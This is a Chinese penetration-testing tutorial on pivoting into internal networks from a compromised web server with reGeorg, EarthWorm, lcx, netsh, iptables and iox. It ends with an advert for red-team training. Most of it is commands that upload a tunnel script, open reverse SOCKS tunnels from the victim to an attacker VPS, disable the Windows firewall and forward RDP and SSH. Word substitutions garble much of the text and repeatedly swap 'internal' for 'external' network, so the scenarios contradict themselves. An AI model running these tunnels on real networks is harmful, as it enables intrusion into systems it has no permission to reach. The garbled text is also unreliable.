外网转发
在渗透测试过程中进程会用到端口转发,我们可以借助代理脚本将外网的流量代理到本地进行访问这样极大的便捷了我们对外网进行纵向渗透。
常见外网转发工具的分类:
代理工具:
reGeorg端口转发
reGeory适用于网段服务器只开放了80端口的情况。reGeorg是用python写的借助Web进行代理的工具,流量只通过http传输,也就是http隧洞。reGeorg脚本的特点十分显著,好多杀软就会进行查杀。
现今有那么一个环境,我们获取到了坐落网段Web服务器的权限,或则我们拥有可以往网段Web服务器web目录下上传任何文件的权限,然而该服务器开启了防火墙,只开放了80端口。外网中存在另外一台主机,这儿假定外网存在一台Web服务器。之后,我们如今要将网段Web服务器设置为代理,通过网段服务器的80端口,访问和侦测外网Web服务器的信息。
按照网段服务器网站是哪种脚本类型上传哪种类型的脚本。这儿我搭建的是PHP网站,我就上传tunnel.nosocket.php脚本起来。
实验:
本地能和对方192.168.1.111通信,对方双网卡,能与外网192.168.138.138通信
将脚本起来起来访问一些脚本,可以访问!上传成功
之后使用脚本reGeorgSocksProxy.py脚本窃听一个端口,构建一条通信链路
python2.exe .reGeorgSocksProxy.py -u http://192.168.1.111/tunnel.nosocket.php -p 1080
之后我们就可以借助一些代理工具Proxychains、Proxifier来进行代理
Proxychains配置:在/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.138.138
这儿我在windows平台,所以使用Proxifier来进行代理
这儿须要注意的是,要将python.exe添加到例外,不然会死循环
这样的话就通过192.168.1.111主机的代理访问到了外网主机的WEB页面了。
其实也可以代理远程桌面,右击远程桌面就在选择Proxifier进行代理
EW(EarthWorm)代理
EarthWorm是一套便携的网路工具,具有SOCKS5服务架设和端口转发两个核心功能。
EarthWorm能过够以正向、反向、多级级联等方法构建网路隧洞。EarthWorm提供多个文件适用不同的操作系统!
ew_for_Win.exe 适用各种Windows系统(X86指令集、X64指令集) Windows7、Windows XP
ew_for_Linux32 各常见Linux发行版 (X86 指令集 CPU) Ubuntu(X86)/BT5(X86)
ew_for_linux64 各常见Linux发行版 (X64 指令集 CPU) Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64 MacOS系统发行版 (X64 指令集) 苹果PC电脑,苹果server
ew_for_Arm32 常见Arm-Linux系统 HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel 常见Mips-Linux系统 (Mipsel指令集 CPU) 萤石硬盘录像机、小米mini路由器(R1CM)
该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。普通网路环境的正向联接命令是ssocksd,用于大跌联接的命令是rcsocks、rssocks。其他命令用于多级级联网络环境。
实验过程:
正向联接的过程和reGeorg差不多,也是上传过去以后,代理端口以后使用proxychains、Proxifier进行代理。这儿就实验大跌SOCKS5代理!
本地能和对方192.168.1.111通信,对方双网卡,能与外网192.168.138.138通信!
把EW分别上传到VPS和对方机器上面,接着在VPS上面操作:
./ew_for_linux64 -s rcsocks -l 1008 -e 8888
然后在对方机器上操作:
ew_for_Win.exe -s rssocks -d VPS地址 -e 8888
接着使用代理工具代理即可,在配置文件/etc/proxychains.conf更改IP为VPS的IP和联接的端口。使用proxychains代理成功!
Proxifier代理配置和之前使用reGeorg配置Proxifier差不多,不过这儿不用过滤掉python.exe。
配置好了以后就可以就可以远程登录外网主机了!
LXC端口转发
Lcx是基于socket套接字实现的端口转发工具,有Windows和Linux版本。Windows版是lcx.exe,Linux版是portmap
本地端口映射实验:
访问规则:
攻击者可以访问WEB服务器的80端口,但是访问不了内网主机
假定领到了对方web服务器的权限,这个时侯可以通过9080端口远程联接对方外网服务器3389端口,用到LXC端口转发技术来实现。
在目标机器执行命令:
Lcx.exe -tran 9080 192.168.138.138 3389
这个意思是将内网目标的3389端口的流量转到9080端口送出去。然后就可以访问对方的9080端口访问到3389
在对方里面执行命令,之后直接访问对方53端口就可以把流量转发到对方的3389了:
外网端口转发实验:
访问规则:
攻击者可以访问WEB服务器
WEB服务器可以访问内网的服务器
攻击者不可以访问内网的服务器
假定领到了一个web服务器的权限,它移动了外网可以访问外网,如今要通过web服务器访问到外网中主机的资源来进一步渗透设置win7为代理服务器,这个时侯就须要web服务器中中间的跳板,也就是代理的作用来访问我们访问不到的外网主机。
VPS <==========
| |=======> web服务器 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136
首先上传lcx到web服务器输入命令:
Lcx.exe -slave VPS_ip 1080 192.168.138.138 3389
VPS上面配置:
wine Lcx.exe -listen 1080 8080 #wine是可以在linux上执行.exe文件(这里我是没有linux版本的哈哈哈!)
配置好以后就可以访问外网啦,向访问一些访问不了的目标外网的外网服务器。在浏览器输入VPS的地址加上VPS转发的端口就可以访问到对方外网的服务器了
其实还有一个方式就是我们可以访问WEB服务器设置win7为代理服务器,外网有服务器。并且测试下来对方不仅80和53端口,其他的流量都不出口。这个时侯可以通过53端口把流量引下来
访问规则:
功击者可以访问WEB服务器的80端口,对方DNS流量通往内网并且其他端口不仅80都关掉了
WEB服务器配置:
lcx.exe-tran53192.168.138.13880
之后我们访问外网主机的服务器也是可以访问到的
Netsh进行端口转发
netsh(NetworkShell)是一个windows系统本身提供的功能强悍的网路配置命令行工具。自WindowsXP开始,Windows中就外置网路端口转发的功能。任何传入到本地端口的TCP联接(IPv4或IPv6)都可以被重定向到另一个本地端口,或远程计算机上的端口,但是系统不须要有一个专门用于侦听该端口的服务。
基础命令
使用Portproxy模式下的Netsh命令即能实现Windows系统中的端口转发,转发命令如下
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
解释一下这其中的参数意义
环境如下,我们要通过WEB服务器去访问外网我们访问不到的服务器。注意:须要以管理员身分启动命令提示符并执行以下命令:
VPS <==========
| |=======> web服务器 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136
转发语法:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)。
禁用系统防火墙
netsh firewall set opmode disable
启用防火墙
netsh firewall set opmode enable
# windows 7 及以上
netsh advfirewall set allprofiles state off / on
进行端口转发
netsh interface portproxy add v4tov4 listenaddress=192.168.1.111 listenport=1080 connectaddress=192.168.138.138 connectport=3389 #新建一个端口映射,将外网网卡192.168.1.111的1080端口和192.168.138.138的3389端口做个映射
netsh interface portproxy show all #查看端口映射
这个时侯我们可以通过访问WEB服务器的1080端口,之后WEB服务器的1080端口将流量转发给外网服务器的3389。当我们用完代理以后就可以删掉这个端口转发了
netshinterfaceportproxydeletev4tov4listenaddress=192.168.1.111listenport=1080#删掉端口映射
假如想要清空当前所有的配置规则,命令如下:
netsh interface portproxy reset
其实也可以适用转发外网主机是LINUX或则其他的,都一样的只是要根据当前的环境来配置好就OK了!
Iptables进行端口转发
IPTABLES是与最新的3.5版本Linux内核集成的IP信息包过滤系统。假如Linux系统联接到因特网或LAN、服务器或联接LAN和因特网的代理服务器,则该系统有利于在Linux系统上更好地控制IP信息包过滤和防火墙配置。所有的Linux发行版都能使用iptables
WEB服务器:192.168.1.47
内网机器:192.168.1.111
首先Linux开启路由转发功能:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables的INPUT链配置允许:
iptables -P INPUT ACCEPT
配置iptables的转发规则,这个规则是将192.168.1.47的5555端口的数据包全部转为ip192.168.1.111的3389。这一步只是把数据包地址转换过来:
iptables -t nat -A PREROUTING -d 192.168.1.47 -p tcp -m tcp --dport 5555 -j DNAT --to-destination 192.168.1.111:3389
把IP地址192.168.8.4端口3389的数据包从192.168.1.47这个地址上走
iptables -t nat -A POSTROUTING -d 192.168.1.111 -p tcp -m tcp --dport 3389 -j SNAT --to-source 192.168.1.47
iptables -A FORWARD -o eth0 -d 192.168.1.111 -p tcp --dport 3389 -j ACCEPT
重启iptables服务器
/etc/init.d/iptables save && /etc/init.d/iptables restart
接着远程登录192.168.1.47的5555端口就可以访问192.168.1.111的3389端口了
iptables 规则清空命令::
iptables -F INPUT
iptables -F FORWARD
iptables -F POSTROUTING -t nat
iptables -t nat -F
假如是转发ssh的话也是一样的,把外网22端口转发流量过来WEB服务器就可以了!
iptables -t nat -A PREROUTING -d 192.168.1.47 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.114:22
iptables -t nat -A POSTROUTING -d 192.168.1.114 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.47
iptables -A FORWARD -o eth0 -d 192.168.1.114 -p tcp --dport 22 -j ACCEPT
/etc/init.d/iptables save && /etc/init.d/iptables restart
iox代理工具
iox功能类似于lcx/ew,然而iox优于它们。网路编程逻辑优化于lcx/ew,而且提供了流量加密的功能,能够提供UDP流量转发。iox是基于Goland语言编撰的。下载出来的都是源码。首先我在我的Go目录下的src子目录下克隆下了项目。之后使用gobuildiox编译成.exe文件
项目地址:https://github.com/EddieIvan01/iox
iox特点
用法
所有的参数都是统一的。
-l/--local意为监听本地端口;-r/--remote意为连接远端主机
两种模式
fwd:
窃听0.0.0.0:8888和0.0.0.0:9999,将两个联接间的流量转发
./iox fwd -l 8888 -l 9999
for lcx:
./lcx -listen 8888 9999
窃听0.0.0.0:8888,把流量转发到1.1.1.1:9999
./iox fwd -l 8888 -r 1.1.1.1:9999
for lcx:
./lcx -tran 8888 1.1.1.1 9999
联接1.1.1.1:8888和1.1.1.1:9999,在两个联接间转发
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
for lcx:
./lcx -slave 1.1.1.1 8888 1.1.1.1 9999
proxy:
在本地0.0.0.0:1080启动Socks5服务
./iox proxy -l 1080
for ew:
./ew -s ssocksd -l 1080
在被控机开启Socks5服务,将服务转发到网段VPS
在VPS上转发0.0.0.0:9999到0.0.0.0:1080
你必须将两条命令成对使用,由于它内部包含了一个简单的合同来控制回连
./iox proxy -r 1.1.1.1:9999
./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的
for ew:
./ew -s rcsocks -l 1080 -e 9999
./ew -s rssocks -d 1.1.1.1 -e 9999
接着联接外网主机
# proxychains.conf
# socks5://1.1.1.1:1080
$ proxychains rdesktop 192.168.0.100:3389
启用加密
举个板栗,我们把外网3389端口转发到VPS
// 被控主机
./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k 656565
// 我们的VPS
./iox fwd -l *8888 -l 33890 -k 656565
挺好理解:被控主机和VPS:8888之间的流量会被加密,预共享的秘钥是’AAA’,iox会用这个秘钥生成种子秘钥和IV,并用AES-CTR流加密
所以,*应当成对使用
./iox fwd -l 1000 -r *127.0.0.1:1001 -k 000102
./iox fwd -l *1001 -r *127.0.0.1:1002 -k 000102
./iox fwd -l *1002 -r *127.0.0.1:1003 -k 000102
./iox proxy -l *1003 -k 000102
$ curl google.com -x socks5://127.0.0.1:1000
你也可以把iox当作一个简单的ShadowSocks来用:
// ssserver
./iox proxy -l *9999 -k 000102
// sslocal
./iox fwd -l 1080 -r *VPS:9999 -k 000102
UDP转发
只须要添加命令行参数:-u
./iox fwd -l 53 -r *127.0.0.1:8888 -k 000102 -u
./iox fwd -l *8888 -l *9999 -k 000102 -u
./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k 000102 -u
注意:当你做空级联接的转发时,Remote2Remote-UDP-mode必须最后一个被启动,也就是前面示例中的第三条
UDP转发可能会有一些不合你预期的行为。实际上,目前在GitHub上只有将本地窃听的UDP流量转发到远程主机的事例,所以我只能以我的理解来实现
场景实验:
如今还是这个场景,功击者不能访问外网的服务器,能访问WEB服务器,WEB服务器可以访问外网的服务器。这儿通过WEB服务器转发外网主机的3389端口访问外网的服务。
在WEB服务器上执行命令,转发内网主机的80端口到WEB服务器的3389端口上面:
iox.exe fwd -l 8888 -r 192.168.138.138:3389
#类似于的lcx:./lcx -tran 8888 192.168.138.138 3389
访问成功。通过转发端口可以访问到外网主机的3389
假定领到了一个web服务器的权限,它移动了外网可以访问外网,如今要通过web服务器访问到外网中主机的资源来进一步渗透,这个时侯就须要web服务器中中间的跳板,也就是代理的作用来访问我们访问不到的外网主机。
VPS <==========
| |=======> web服务器 内网服务器
| 双网卡 内网IP:192.168.138.138
攻击机器 公网IP:192.168.1.111
内网IP:192.168.138.136
现在我们在VPS上面监听端口,本地转发端口流量,将目标主机的6666端口流量转发到本地2323端口
wine iox.exe fwd -l 6666 -l 2323
接着在目标机器上面执行命令,把内网机器的3389端口从6666端口转出流量
iox.exe fwd -r VPS_IP:6666 -r 192.168.138.138:3389
接着我们访问VPS_IP的2323端口就可以访问到外网主机的3389端口了
iox的Proxy代理功能
首先在目标机器上开启Socks5服务:
iox.exe proxy -l 1080
接着在VPS上窃听一个端口,这个端口等下要和目标主机转发的端口相对于,之后再转发1080端口:
wineiox.exeproxy-l8888-l1080
假如对方链接过来会提示对端链接成功!
这个时候再目标主机上面再配置命令,把VPS对应的8888端口对接起来建立链接!
iox.exe proxy -r VPS_IP:8888
之后可以使用proxychains或则proxifier进行代理,这个我用proxifier进行代理,配置VPS的IP端口为1080。配置好了以后就可以访问外网主机的3389端口了!
~~~~如有错误,多多赐教!
渗透测试【红队攻守-外网渗透】培训服务
专注于职业渗透场景下的尖端技术培训·5号黯区
偷偷告诉你,她们家有任职国家某密秘渗透队的讲师噢。后台回复外网可获取课程大纲和公开课。
暂无评论内容